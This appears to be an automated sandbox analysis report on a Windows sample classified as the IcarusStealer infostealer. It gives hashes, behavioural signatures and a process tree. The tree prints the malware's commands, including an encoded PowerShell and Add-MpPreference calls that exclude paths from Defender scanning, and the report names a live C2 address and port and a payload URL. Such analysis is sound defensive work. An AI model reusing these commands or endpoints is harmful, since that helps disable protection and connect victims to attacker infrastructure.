Overview

overview

10

Static

static

1

78c31a1a46...96.exe

windows7-x64

10

78c31a1a46...96.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    140s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11-02-2023 01:30

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    78c31a1a4649c4fb7267fcadc7ab04612e2620f62a8c8b1b3064f9661d49ce96.exe

  • Size

    2.5MB

  • MD5

    f3c821a1fbb4bcf479eeb1caac946127

  • SHA1

    e0f7d21c82a9b497df1cdab3313fb48b4f8d6cec

  • SHA256

    78c31a1a4649c4fb7267fcadc7ab04612e2620f62a8c8b1b3064f9661d49ce96

  • SHA512

    43f7fb7b8c81c968b789a6622ee1c7a84ee3425dca104be70408848464cdc329f5e94f5a3c4a7df21c59f168f50d656c8e0d59a95d62e84c5d7bb1d8a2c97b6a

  • SSDEEP

    24576:SE7fM8hdrNcPt9fSQyE32Ij6ztDUbuJ2SIB8fjPs+7px3st259FJb1neATEQyJGJ:SE3kPqQ7NgCSpNV18S/VeoEPQ6AJL

Score
10/10
icarusstealerpersistencestealer

Malware Config

Extracted

Family

icarusstealer

Attributes
  • payload_url

    https://raw.githubusercontent.com/HiddenEyeZ/tg/main/rt.jpg

Signatures

  • IcarusStealer

    Icarus is a modular stealer written in C# First adverts in July 2022.

    stealericarusstealer
  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
    persistence
  • Modifies Installed Components in the registry 2 TTPs 1 IoCs
    persistence
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Modifies registry class 59 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 32 IoCs
  • Suspicious use of FindShellTrayWindow 48 IoCs
  • Suspicious use of SendNotifyMessage 20 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 48 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\78c31a1a4649c4fb7267fcadc7ab04612e2620f62a8c8b1b3064f9661d49ce96.exe
    "C:\Users\Admin\AppData\Local\Temp\78c31a1a4649c4fb7267fcadc7ab04612e2620f62a8c8b1b3064f9661d49ce96.exe"
    1⤵
    • Checks computer location settings
    • Adds Run key to start application
    • Suspicious use of SetThreadContext
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2424
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c ipconfig/release
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4832
      • C:\Windows\SysWOW64\ipconfig.exe
        ipconfig /release
        3⤵
        • Gathers network information
        PID:2216
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell -ENC cwBlAHQALQBtAHAAcAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AZQB4AGMAbAB1AHMAaQBvAG4AcABhAHQAaAAgAEMAOgBcAA==
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2256
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -ENC cwBlAHQALQBtAHAAcAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AZQB4AGMAbAB1AHMAaQBvAG4AcABhAHQAaAAgAEMAOgBcAA==
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4216
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c ipconfig/renew
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4920
      • C:\Windows\SysWOW64\ipconfig.exe
        ipconfig /renew
        3⤵
        • Gathers network information
        PID:5028
    • C:\Users\Admin\AppData\Local\Temp\78c31a1a4649c4fb7267fcadc7ab04612e2620f62a8c8b1b3064f9661d49ce96.exe
      C:\Users\Admin\AppData\Local\Temp\78c31a1a4649c4fb7267fcadc7ab04612e2620f62a8c8b1b3064f9661d49ce96.exe
      2⤵
      • Modifies WinLogon for persistence
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2028
      • C:\Windows\explorer.exe
        "C:\Windows\explorer.exe"
        3⤵
        • Modifies Installed Components in the registry
        • Enumerates connected drives
        • Checks SCSI registry key(s)
        • Modifies registry class
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:1300
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" HiddenEyeZ_Client 191.101.30.201 8081 CjGViQnrD
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4956
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe & exit
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3620
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3176
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe & exit
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3756
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1056
  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:2104
  • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
    "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
    1⤵
    • Enumerates system info in registry
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:1816

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\78c31a1a4649c4fb7267fcadc7ab04612e2620f62a8c8b1b3064f9661d49ce96.exe.log
    Filesize

    1KB

    MD5

    968fc48787099f44ab7e022899db5497

    SHA1

    5b23fbc303387a06d91b1dc3232f3f0f7d045a83

    SHA256

    c22c81e02f7e587ee50a54ad9983c305f57a5e995916296f2b30be2ee4a239a5

    SHA512

    a49e3cd3bee0fe2bb821dfe820de037c648fb10c42fce57ab188cf84c1e8af9a1ceeccaf252e363178983a6cd65b34ea3c9f1fee82f443c48faf0be04ec039d1

    Download Submit

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
    Filesize

    2KB

    MD5

    3d086a433708053f9bf9523e1d87a4e8

    SHA1

    b3ab5d4f282a4c8fe8c3005b8a557ed5a0e37f28

    SHA256

    6f8fd1b8d9788ad54eaeee329232187e24b7b43393a01aeba2d6e9675231fb69

    SHA512

    931ae42b4c68a4507ff2342332b08eb407050d47cf4176137ea022d0f6e513c689e998445a04c6d18d4877391705c586bfce0234632b898d41aaed0957996dfd

    Download Submit

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    16KB

    MD5

    440c76652b6e9829c44c7b7df445a5cd

    SHA1

    c0160edf0324be075c318f705fb26aafef262bc7

    SHA256

    eaf7d6f568484d6ce1ac84fd09d3036ab2981836cef9e64b5511a7af2d8d17b6

    SHA512

    07ac6b8ebe3fb692a40121e353d231d73e47602b7118d7a8b820346c38f0820999c542580de7cf45a0de2e3ef303b3e70f68296b195ea2c3604f6f3bf4c0d4a8

    Download Submit

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    18KB

    MD5

    20b127e63a7aefd55744fd184dc32af6

    SHA1

    bd5bbebe388c55abd5162bec57f30c058db13d25

    SHA256

    45e21ef7e799fe53f6df898153ba3965685787283850a908a40fbf9747b71e52

    SHA512

    5b3990a54570d65626c23b8d2fc67184567f73c25245d3722a1df0811b3c758c58db2da8f5125eadf45fc885959741a41152c8a1036e26f7f76a82f9b64ae5d9

    Download Submit

  • memory/1056-161-0x0000000070090000-0x00000000700DC000-memory.dmp

    Filesize

    304KB

    Download

  • memory/1056-164-0x0000000006C00000-0x0000000006C1A000-memory.dmp

    Filesize

    104KB

    Download

  • memory/1056-177-0x0000000007E30000-0x0000000007E4A000-memory.dmp

    Filesize

    104KB

    Download

  • memory/1816-309-0x000002619A61D000-0x000002619A621000-memory.dmp

    Filesize

    16KB

    Download

  • memory/1816-362-0x000002619A644000-0x000002619A647000-memory.dmp

    Filesize

    12KB

    Download

  • memory/1816-312-0x000002619A61D000-0x000002619A621000-memory.dmp

    Filesize

    16KB

    Download

  • memory/1816-311-0x000002619A61D000-0x000002619A621000-memory.dmp

    Filesize

    16KB

    Download

  • memory/1816-308-0x000002619A61D000-0x000002619A621000-memory.dmp

    Filesize

    16KB

    Download

  • memory/1816-315-0x00000261975C8000-0x00000261975D0000-memory.dmp

    Filesize

    32KB

    Download

  • memory/1816-363-0x000002619A644000-0x000002619A647000-memory.dmp

    Filesize

    12KB

    Download

  • memory/1816-220-0x000002619A590000-0x000002619A5B0000-memory.dmp

    Filesize

    128KB

    Download

  • memory/1816-212-0x0000026197800000-0x0000026197820000-memory.dmp

    Filesize

    128KB

    Download

  • memory/1816-310-0x000002619A61D000-0x000002619A621000-memory.dmp

    Filesize

    16KB

    Download

  • memory/1816-190-0x00000261AA630000-0x00000261AA730000-memory.dmp

    Filesize

    1024KB

    Download

  • memory/1816-186-0x000002619A570000-0x000002619A590000-memory.dmp

    Filesize

    128KB

    Download

  • memory/1816-182-0x0000026196490000-0x0000026196498000-memory.dmp

    Filesize

    32KB

    Download

  • memory/1816-361-0x000002619A644000-0x000002619A647000-memory.dmp

    Filesize

    12KB

    Download

  • memory/1816-360-0x000002619A644000-0x000002619A647000-memory.dmp

    Filesize

    12KB

    Download

  • memory/1816-357-0x000002619A640000-0x000002619A644000-memory.dmp

    Filesize

    16KB

    Download

  • memory/1816-356-0x000002619A640000-0x000002619A644000-memory.dmp

    Filesize

    16KB

    Download

  • memory/1816-355-0x000002619A640000-0x000002619A644000-memory.dmp

    Filesize

    16KB

    Download

  • memory/1816-354-0x000002619A640000-0x000002619A644000-memory.dmp

    Filesize

    16KB

    Download

  • memory/2028-146-0x0000000000400000-0x000000000046A000-memory.dmp

    Filesize

    424KB

    Download

  • memory/2028-153-0x0000000007760000-0x0000000007D04000-memory.dmp

    Filesize

    5.6MB

    Download

  • memory/2028-149-0x0000000005BB0000-0x0000000005C42000-memory.dmp

    Filesize

    584KB

    Download

  • memory/2028-148-0x0000000005B10000-0x0000000005BAC000-memory.dmp

    Filesize

    624KB

    Download

  • memory/2424-133-0x00000000057E0000-0x0000000005802000-memory.dmp

    Filesize

    136KB

    Download

  • memory/2424-132-0x00000000008D0000-0x0000000000B58000-memory.dmp

    Filesize

    2.5MB

    Download

  • memory/3176-166-0x00000000073E0000-0x00000000073EA000-memory.dmp

    Filesize

    40KB

    Download

  • memory/3176-178-0x0000000007680000-0x0000000007688000-memory.dmp

    Filesize

    32KB

    Download

  • memory/3176-169-0x00000000075D0000-0x0000000007666000-memory.dmp

    Filesize

    600KB

    Download

  • memory/3176-162-0x0000000070090000-0x00000000700DC000-memory.dmp

    Filesize

    304KB

    Download

  • memory/3176-163-0x0000000007A00000-0x000000000807A000-memory.dmp

    Filesize

    6.5MB

    Download

  • memory/4216-158-0x0000000006460000-0x0000000006492000-memory.dmp

    Filesize

    200KB

    Download

  • memory/4216-176-0x00000000073C0000-0x00000000073CE000-memory.dmp

    Filesize

    56KB

    Download

  • memory/4216-159-0x0000000070090000-0x00000000700DC000-memory.dmp

    Filesize

    304KB

    Download

  • memory/4216-144-0x0000000005E70000-0x0000000005E8E000-memory.dmp

    Filesize

    120KB

    Download

  • memory/4216-143-0x00000000057E0000-0x0000000005846000-memory.dmp

    Filesize

    408KB

    Download

  • memory/4216-141-0x00000000056C0000-0x0000000005726000-memory.dmp

    Filesize

    408KB

    Download

  • memory/4216-140-0x0000000004FC0000-0x00000000055E8000-memory.dmp

    Filesize

    6.2MB

    Download

  • memory/4216-138-0x0000000002890000-0x00000000028C6000-memory.dmp

    Filesize

    216KB

    Download

  • memory/4216-160-0x0000000004C40000-0x0000000004C5E000-memory.dmp

    Filesize

    120KB

    Download

  • memory/4956-152-0x0000000000400000-0x0000000000426000-memory.dmp

    Filesize

    152KB

    Download